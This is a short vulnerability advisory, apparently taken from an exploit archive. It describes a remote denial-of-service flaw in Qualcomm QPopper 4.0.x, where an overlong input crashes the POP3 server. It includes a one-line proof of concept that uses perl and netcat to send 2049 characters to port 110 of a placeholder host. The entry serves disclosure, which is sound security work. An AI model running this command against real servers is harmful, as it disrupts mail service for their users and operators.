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Qualcomm QPopper 4.0.x Remote Denial of Service Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
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Qualcomm QPopper 4.0.x Remote Denial of Service Vulnerability, string longer than 2048 characters causes a denial of service

Code

                                                source: http://www.securityfocus.com/bid/4295/info

Qualcomm's QPopper is a POP3 mail server for Linux and Unix based systems. Recent versions of QPopper have been released as open source projects.

A vulnerability has been reported in some versions of qpopper. Reportedly, if a string of longer than approximately 2048 characters is sent to the qpopper process, a denial of service condition will occur. 

perl -e '{print "A"x"2049"}' | netcat host.com 110 
                              

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